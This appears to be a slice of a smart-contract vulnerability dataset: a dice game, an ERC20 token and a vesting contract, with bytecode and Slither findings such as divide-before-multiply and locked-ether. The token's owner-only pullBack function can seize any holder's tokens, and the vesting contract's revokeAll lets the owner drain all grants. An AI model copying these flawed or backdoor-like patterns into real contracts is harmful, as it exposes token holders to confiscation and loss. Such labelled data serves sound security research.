public
view
onlyValidBalance(_balance, _stake)
returns(int)
{
require(_endInitiatedTime + SERVER_TIMEOUT <= block.timestamp);
require(isValidBet(_gameType, _betNum, _betValue)
|| (_gameType == 0 && _betNum == 0 && _betValue == 0 && _balance == 0));
// following casts and calculations are safe as ranges are fixed
// assume player has lost
int newBalance = _balance - int(_betValue);
// penalize player as he didn't end game
newBalance -= NOT_ENDED_FINE;
// do not allow balance below player stake
int stake = int(_stake);
if (newBalance < -stake) {
newBalance = -stake;
}
return newBalance;
}
/**
* @dev Force end of game if server does not respond. Only possible after a time period
* to give the server a chance to respond.
* @param _gameType Game type.
* @param _betNum Bet number.
* @param _betValue Value of bet.
* @param _balance Current balance.
* @param _endInitiatedTime Time server initiated end.
* @return New game session balance.
*/
function playerForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
public
view
onlyValidBalance(_balance, _stake)
returns(int)
{
require(_endInitiatedTime + PLAYER_TIMEOUT <= block.timestamp);
require(isValidBet(_gameType, _betNum, _betValue) ||
(_gameType == 0 && _betNum == 0 && _betValue == 0 && _balance == 0));
int profit = 0;
if (_gameType == 0 && _betNum == 0 && _betValue == 0 && _balance == 0) {
// player cancelled game without playing
profit = 0;
} else {
profit = calculateDiceProfit(_betNum, _betValue);
}
// penalize server as it didn't end game
profit += NOT_ENDED_FINE;
return _balance + profit;
}
/**
* @dev Calculate new balance after executing bet.
* @param _serverSeed Server's seed
* @param _playerSeed Player's seed
* @param _betNum Bet Number.
* @param _betValue Value of bet.
* @param _balance Current balance.
*/
function processDiceBet(
uint _betNum,
uint _betValue,
int _balance,
bytes32 _serverSeed,
bytes32 _playerSeed
)
private
pure
returns (int)
{
assert(_betNum > 0 && _betNum < DICE_RANGE);
// check who has won
bool playerWon = calculateDiceWinner(_serverSeed, _playerSeed, _betNum);
if (playerWon) {
int profit = calculateDiceProfit(_betNum, _betValue);
return _balance + profit;
} else {
return _balance - int(_betValue);
}
}
/**
* @dev Calculate player profit if player has won.
* @param _betNum Bet number of player.
* @param _betValue Value of bet.safe
* @return Players' profit.
*/
function calculateDiceProfit(uint _betNum, uint _betValue) private pure returns(int) {
assert(_betNum > 0 && _betNum < DICE_RANGE);
// convert to gwei as we use gwei as lowest unit
uint betValue = _betValue / 1e9;
// safe without safe math as ranges are fixed
uint totalWon = betValue * DICE_RANGE / _betNum;
uint houseEdgeValue = totalWon * HOUSE_EDGE / HOUSE_EDGE_DIVISOR;
int profit = int(totalWon) - int(houseEdgeValue) - int(betValue);
// convert back to wei and return
return profit * 1e9;
}
/**
* @dev Calculate winner of dice game.
* @param _serverSeed Server seed of bet.
* @param _playerSeed Player seed of bet.
* @param _betNum Bet number.
* @return True if player has won false if he lost.
*/
function calculateDiceWinner(
bytes32 _serverSeed,
bytes32 _playerSeed,
uint _betNum
)
private
pure
returns(bool)
{
assert(_betNum > 0 && _betNum < DICE_RANGE);
bytes32 combinedHash = keccak256(_serverSeed, _playerSeed);
uint randomNumber = uint(combinedHash) % DICE_RANGE; // bias is negligible
return randomNumber < _betNum;
}
}
library MathUtil {
/**
* @dev Returns the absolute value of _val.
* @param _val value
* @return The absolute value of _val.
*/
function abs(int _val) internal pure returns(uint) {
if (_val < 0) {
return uint(-_val);
} else {
return uint(_val);
}
}
/**
* @dev Calculate maximum.
*/
function max(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 >= _val2 ? _val1 : _val2;
}
/**
* @dev Calculate minimum.
*/
function min(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 <= _val2 ? _val1 : _val2;
}
} | 0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166309eecdd781146100ea5780632a0763ce1461011d578063353086e21461015a5780635394772a1461016d578063596a27351461018057806373ad468a1461019357806373c4726b146101a6578063748dd2fc146101bc578063834d42c6146101e55780638daaaa2f1461020d5780638eb9815014610220578063a99a3f0314610233578063c1e31eab14610246578063ca7140ad14610259578063def92c6914610281578063e9b32a3f14610294575b600080fd5b34156100f557600080fd5b61010960ff600435166024356044356102a7565b604051901515815260200160405180910390f35b341561012857600080fd5b61014860ff6004351660243560443560643560843560a43560c4356102f3565b60405190815260200160405180910390f35b341561016557600080fd5b610148610385565b341561017857600080fd5b610148610390565b341561018b57600080fd5b61014861039a565b341561019e57600080fd5b61014861039f565b34156101b157600080fd5b6101486004356103ab565b34156101c757600080fd5b6101cf6103cc565b60405160ff909116815260200160405180910390f35b34156101f057600080fd5b61014860ff6004351660243560443560643560843560a4356103d1565b341561021857600080fd5b610148610482565b341561022b57600080fd5b610148610487565b341561023e57600080fd5b610148610492565b341561025157600080fd5b610148610499565b341561026457600080fd5b61014860ff6004351660243560443560643560843560a4356104a0565b341561028c57600080fd5b610148610576565b341561029f57600080fd5b610148610582565b600060ff841660011480156102c757506000831180156102c75750606483105b80156102eb5750816509184e72a000111580156102eb5750662386f26fc100008211155b949350505050565b60008060008989896103068383836102a7565b151561031157600080fd5b898981816000031315801561032d5750674563918244f4000082125b151561033857600080fd5b891580159061034657508815155b151561034e57fe5b61035b8e8e8e8d8d610588565b96508a955085600003871215610372578560000396505b50949d9c50505050505050505050505050565b662386f26fc1000081565b6509184e72a00081565b606481565b674563918244f4000090565b6000662386f26fc100006103c08360016105de565b02610190029050919050565b600181565b600080600085858181600003131580156103f25750674563918244f4000082125b15156103fd57600080fd5b426202a3008701111561040f57600080fd5b61041a8b8b8b6102a7565b80610443575060ff8b1615801561042f575089155b8015610439575088155b8015610443575087155b151561044e57600080fd5b66038d7ea4c67fff198989030193508692506000839003841215610473578260000393505b50919998505050505050505050565b609681565b66038d7ea4c6800081565b6201518081565b6202a30081565b60008084848181600003131580156104bf5750674563918244f4000082125b15156104ca57600080fd5b4262015180860111156104dc57600080fd5b6104e78a8a8a6102a7565b80610510575060ff8a161580156104fc575088155b8015610506575087155b8015610510575086155b151561051b57600080fd5b6000925060ff8a1615801561052e575088155b8015610538575087155b8015610542575086155b15610550576000925061055d565b61055a89896105f7565b92505b50509390930166038d7ea4c68000019695505050505050565b674563918244f4000081565b61271081565b6000806000808811801561059c5750606488105b15156105a457fe5b6105af85858a610650565b915081156105cd576105c188886105f7565b905080860192506105d3565b86860392505b505095945050505050565b6000818311156105ee57816105f0565b825b9392505050565b6000806000806000808711801561060e5750606487105b151561061657fe5b633b9aca0086049350866064850281151561062d57fe5b61271060969290910491820204900393909303633b9aca00029695505050505050565b600080600080841180156106645750606484105b151561066c57fe5b85856040519182526020820152604090810190519081900390206064900693909310959450505050505600a165627a7a72305820e7bb81c17f5bdf2ee91aae6bccecec016fc6ab78a148d009cda348b4a28277e00029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,542 |
0x5287b19bf61a4f9375d1f6624565db164bcb0208 | /**
* Investors relations: <span class="__cf_email__" data-cfemail="ddbcb9b0b4b39dbcafbfb4a9afbcbab4b3baf3beb2">[email protected]</span>
**/
pragma solidity ^0.4.24;
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Standard
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface OldARBToken {
function transfer(address receiver, uint amount) external;
function balanceOf(address _owner) external returns (uint256 balance);
function mint(address wallet, uint256 tokenAmount) external;
function showMyTokenBalance(address addr) external;
}
contract ARBITRAGING is ERC20Interface,Ownable {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) tokenBalances;
string public constant name = "ARBITRAGING";
string public constant symbol = "ARB";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000;
address ownerWallet;
// Owner of account approves the transfer of an amount to another account
mapping (address => mapping (address => uint256)) allowed;
event Debug(string message, address addr, uint256 number);
function ARBITRAGING (address wallet) public {
owner = msg.sender;
ownerWallet=wallet;
totalSupply = INITIAL_SUPPLY * 10 ** 18;
tokenBalances[wallet] = INITIAL_SUPPLY * 10 ** 18; //Since we divided the token into 10^18 parts
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(tokenBalances[msg.sender]>=_value);
tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= tokenBalances[_from]);
require(_value <= allowed[_from][msg.sender]);
tokenBalances[_from] = tokenBalances[_from].sub(_value);
tokenBalances[_to] = tokenBalances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - tokenBalances[address(0)];
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant public returns (uint256 balance) {
return tokenBalances[_owner];
}
function mint(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[wallet] <= tokenAmount); // checks if it has enough to sell
tokenBalances[buyer] = tokenBalances[buyer].add(tokenAmount); // adds the amount to buyer's balance
Transfer(wallet, buyer, tokenAmount);
totalSupply=totalSupply.sub(tokenAmount);
}
function pullBack(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
require(tokenBalances[buyer]>=tokenAmount);
tokenBalances[buyer] = tokenBalances[buyer].sub(tokenAmount);
tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
Transfer(buyer, wallet, tokenAmount);
totalSupply=totalSupply.add(tokenAmount);
}
function showMyTokenBalance(address addr) public view returns (uint tokenBalance) {
tokenBalance = tokenBalances[addr];
}
} | 0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de5780632ff2e9dc14610208578063313ce5671461021d578063661884631461023257806370a082311461025657806377eefa5a146102775780638da5cb5b146102a35780638fe476251461025657806395d89b41146102d4578063a9059cbb146102e9578063c6c3bbe61461030d578063d73dd62314610337578063dd62ed3e1461035b578063f2fde38b14610382575b600080fd5b34801561010157600080fd5b5061010a6103a3565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a03600435166024356103da565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc610440565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a0360043581169060243516604435610472565b34801561021457600080fd5b506101cc6105d9565b34801561022957600080fd5b506101cc6105e0565b34801561023e57600080fd5b506101a3600160a060020a03600435166024356105e5565b34801561026257600080fd5b506101cc600160a060020a03600435166106d5565b34801561028357600080fd5b506102a1600160a060020a03600435811690602435166044356106f0565b005b3480156102af57600080fd5b506102b86107ea565b60408051600160a060020a039092168252519081900360200190f35b3480156102e057600080fd5b5061010a6107f9565b3480156102f557600080fd5b506101a3600160a060020a0360043516602435610830565b34801561031957600080fd5b506102a1600160a060020a03600435811690602435166044356108ea565b34801561034357600080fd5b506101a3600160a060020a03600435166024356109a7565b34801561036757600080fd5b506101cc600160a060020a0360043581169060243516610a40565b34801561038e57600080fd5b506102a1600160a060020a0360043516610a6b565b60408051808201909152600b81527f4152424954524147494e47000000000000000000000000000000000000000000602082015281565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001540390565b6000600160a060020a038316151561048957600080fd5b600160a060020a0384166000908152600260205260409020548211156104ae57600080fd5b600160a060020a03841660009081526004602090815260408083203384529091529020548211156104de57600080fd5b600160a060020a038416600090815260026020526040902054610507908363ffffffff610aff16565b600160a060020a03808616600090815260026020526040808220939093559085168152205461053c908363ffffffff610b1116565b600160a060020a038085166000908152600260209081526040808320949094559187168152600482528281203382529091522054610580908363ffffffff610aff16565b600160a060020a0380861660008181526004602090815260408083203384528252918290209490945580518681529051928716939192600080516020610b28833981519152929181900390910190a35060019392505050565b6298968081565b601281565b336000908152600460209081526040808320600160a060020a03861684529091528120548083111561063a57336000908152600460209081526040808320600160a060020a038816845290915281205561066f565b61064a818463ffffffff610aff16565b336000908152600460209081526040808320600160a060020a03891684529091529020555b336000818152600460209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a0316331461070757600080fd5b600160a060020a03821660009081526002602052604090205481111561072c57600080fd5b600160a060020a038216600090815260026020526040902054610755908263ffffffff610aff16565b600160a060020a03808416600090815260026020526040808220939093559085168152205461078a908263ffffffff610b1116565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610b2883398151915292918290030190a36001546107e2908263ffffffff610b1116565b600155505050565b600054600160a060020a031681565b60408051808201909152600381527f4152420000000000000000000000000000000000000000000000000000000000602082015281565b3360009081526002602052604081205482111561084c57600080fd5b3360009081526002602052604090205461086c908363ffffffff610aff16565b3360009081526002602052604080822092909255600160a060020a0385168152205461089e908363ffffffff610b1116565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191923392600080516020610b288339815191529281900390910190a350600192915050565b600054600160a060020a0316331461090157600080fd5b600160a060020a03831660009081526002602052604090205481101561092657600080fd5b600160a060020a03821660009081526002602052604090205461094f908263ffffffff610b1116565b600160a060020a038084166000818152600260209081526040918290209490945580518581529051919392871692600080516020610b2883398151915292918290030190a36001546107e2908263ffffffff610aff16565b336000908152600460209081526040808320600160a060020a03861684529091528120546109db908363ffffffff610b1116565b336000818152600460209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a03163314610a8257600080fd5b600160a060020a0381161515610a9757600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610b0b57fe5b50900390565b600082820183811015610b2057fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582065983a65fbaafd89b3294dc65d31e1a7943052d4bf61f15f13d4992347a31f5e0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,543 |
0xbd283630a332f7f572069742e8f07e73865689c0 | /**
*Submitted for verification at Etherscan.io on 2020-12-26
*/
pragma solidity 0.4.24;
// File: node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules/openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
// File: contracts/OVRVesting.sol
/**
* @title Vesting trustee contract for OVRToken.
*/
contract OVRVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
uint256 private constant vstart = 1636153140; // Fri Nov 05 2021 23:59:00 GMT+0100
uint256 public constant vcliff = 1636153140; // Fri Nov 05 2021 23:59:00 GMT+0100
uint256 public constant vend = 1825455540; // Fri Nov 05 2027 23:59:00 GMT+0100
uint256 public constant vinstallmentLength = 3600; // 60 min
// OVRToken contract.
ERC20 public constant token = ERC20(0x21BfBDa47A0B4B5b1248c767Ee49F7caA9B23697);
// Vesting grant for a specific holder.
struct Grant {
uint256 value;
uint256 start;
uint256 cliff;
uint256 end;
uint256 installmentLength; // In seconds.
uint256 transferred;
bool revocable;
}
// Holder to grant information mapping.
mapping (address => Grant) public grants;
// Total tokens available for vesting.
uint256 public totalVesting;
event NewGrant(address indexed _from, address indexed _to, uint256 _value);
event TokensUnlocked(address indexed _to, uint256 _value);
event GrantRevoked(address indexed _holder, uint256 _refund);
/**
* @dev Unlock vested tokens and transfer them to their holder.
*/
function unlockVestedTokens() external {
Grant storage grant_ = grants[msg.sender];
// Require that the grant is not empty.
require(grant_.value != 0);
// Get the total amount of vested tokens, according to grant.
uint256 vested = calculateVestedTokens(grant_, block.timestamp);
if (vested == 0) {
return;
}
// Make sure the holder doesn't transfer more than what he already has.
uint256 transferable = vested.sub(grant_.transferred);
if (transferable == 0) {
return;
}
// Update transferred and total vesting amount, then transfer remaining vested funds to holder.
grant_.transferred = grant_.transferred.add(transferable);
totalVesting = totalVesting.sub(transferable);
token.safeTransfer(msg.sender, transferable);
emit TokensUnlocked(msg.sender, transferable);
}
/**
* @dev Grant tokens to a specified address.
* @param _to address The holder address.
* @param _value uint256 The amount of tokens to be granted.
* @param _revocable bool Whether the grant is revocable or not.
*/
function granting(address _to, uint256 _value, bool _revocable)
external onlyOwner
{
require(_to != address(0));
// Don't allow holder to be this contract.
require(_to != address(this));
require(_value > 0);
// Require that every holder can be granted tokens only once.
require(grants[_to].value == 0);
// Assign a new grant.
grants[_to] = Grant({
value: _value,
start: vstart,
cliff: vcliff,
end: vend,
installmentLength: vinstallmentLength,
transferred: 0,
revocable: _revocable
});
// Since tokens have been granted, increase the total amount of vesting.
totalVesting = totalVesting.add(_value);
emit NewGrant(msg.sender, _to, _value);
}
/**
* @dev Calculate the total amount of vested tokens of a holder at a given time.
* @param _holder address The address of the holder.
* @param _time uint256 The specific time to calculate against.
* @return a uint256 Representing a holder's total amount of vested tokens.
*/
function vestedTokens(address _holder, uint256 _time) external constant returns (uint256) {
Grant memory grant_ = grants[_holder];
if (grant_.value == 0) {
return 0;
}
return calculateVestedTokens(grant_, _time);
}
/**
* @dev Revoke the grant of tokens of a specifed address.
* @param _holder The address which will have its tokens revoked.
*/
function revoke(address _holder) public onlyOwner {
Grant memory grant_ = grants[_holder];
// Grant must be revocable.
require(grant_.revocable);
// Calculate amount of remaining tokens that are still available (i.e. not yet vested) to be returned to owner.
uint256 vested = calculateVestedTokens(grant_, block.timestamp);
uint256 notTransferredInstallment = vested.sub(grant_.transferred);
uint256 refund = grant_.value.sub(vested);
//Update of transferred not necessary due to deletion of the grant in the following step.
// Remove grant information.
delete grants[_holder];
// Update total vesting amount and transfer previously calculated tokens to owner.
totalVesting = totalVesting.sub(refund).sub(notTransferredInstallment);
// Transfer vested amount that was not yet transferred to _holder.
token.safeTransfer(_holder, notTransferredInstallment);
emit TokensUnlocked(_holder, notTransferredInstallment);
token.safeTransfer(msg.sender, refund);
emit TokensUnlocked(msg.sender, refund);
emit GrantRevoked(_holder, refund);
}
/**
* @dev Revoke all the grants of tokens.
* @param _vault The address which will receive the tokens.
*/
function revokeAll(address _vault) external onlyOwner {
uint256 transferable=token.balanceOf(address(this));
token.safeTransfer(_vault, transferable);
}
/**
* @dev Calculate amount of vested tokens at a specifc time.
* @param _grant Grant The vesting grant.
* @param _time uint256 The time to be checked
* @return a uint256 Representing the amount of vested tokens of a specific grant.
*/
function calculateVestedTokens(Grant _grant, uint256 _time) private pure returns (uint256) {
// If we're before the cliff, then nothing is vested.
if (_time < _grant.cliff) {
return 0;
}
// If we're after the end of the vesting period - everything is vested;
if (_time >= _grant.end) {
return _grant.value;
}
// Calculate amount of installments past until now.
// NOTE result gets floored because of integer division.
uint256 installmentsPast = _time.sub(_grant.start).div(_grant.installmentLength);
// Calculate amount of days in entire vesting period.
uint256 vestingDays = _grant.end.sub(_grant.start);
// Calculate and return installments that have passed according to vesting days that have passed.
return _grant.value.mul(installmentsPast.mul(_grant.installmentLength)).div(vestingDays);
}
} | 0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631a64adae146100ca5780632d781e731461012b5780632f974a6b146101565780634598507b146101af57806374a8f103146101da57806378d43ec31461021d5780637c17357d1461024857806383fcf973146102735780638da5cb5b1461028a578063b869cea3146102e1578063e7dd4b2c14610366578063f2fde38b146103a9578063fc0c546a146103ec575b600080fd5b3480156100d657600080fd5b50610115600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610443565b6040518082815260200191505060405180910390f35b34801561013757600080fd5b5061014061051b565b6040518082815260200191505060405180910390f35b34801561016257600080fd5b506101ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803515159060200190929190505050610521565b005b3480156101bb57600080fd5b506101c46107bb565b6040518082815260200191505060405180910390f35b3480156101e657600080fd5b5061021b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107c3565b005b34801561022957600080fd5b50610232610b3f565b6040518082815260200191505060405180910390f35b34801561025457600080fd5b5061025d610b47565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b50610288610b4d565b005b34801561029657600080fd5b5061029f610d18565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102ed57600080fd5b50610322600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3d565b604051808881526020018781526020018681526020018581526020018481526020018381526020018215151515815260200197505050505050505060405180910390f35b34801561037257600080fd5b506103a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d8c565b005b3480156103b557600080fd5b506103ea600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f18565b005b3480156103f857600080fd5b5061040161106d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600061044d6112bc565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060e060405190810160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201548152602001600582015481526020016006820160009054906101000a900460ff16151515158152505090506000816000015114156105075760009150610514565b6105118184611085565b91505b5092915050565b610e1081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561057c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105b857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105f357600080fd5b60008211151561060257600080fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414151561065357600080fd5b60e060405190810160405280838152602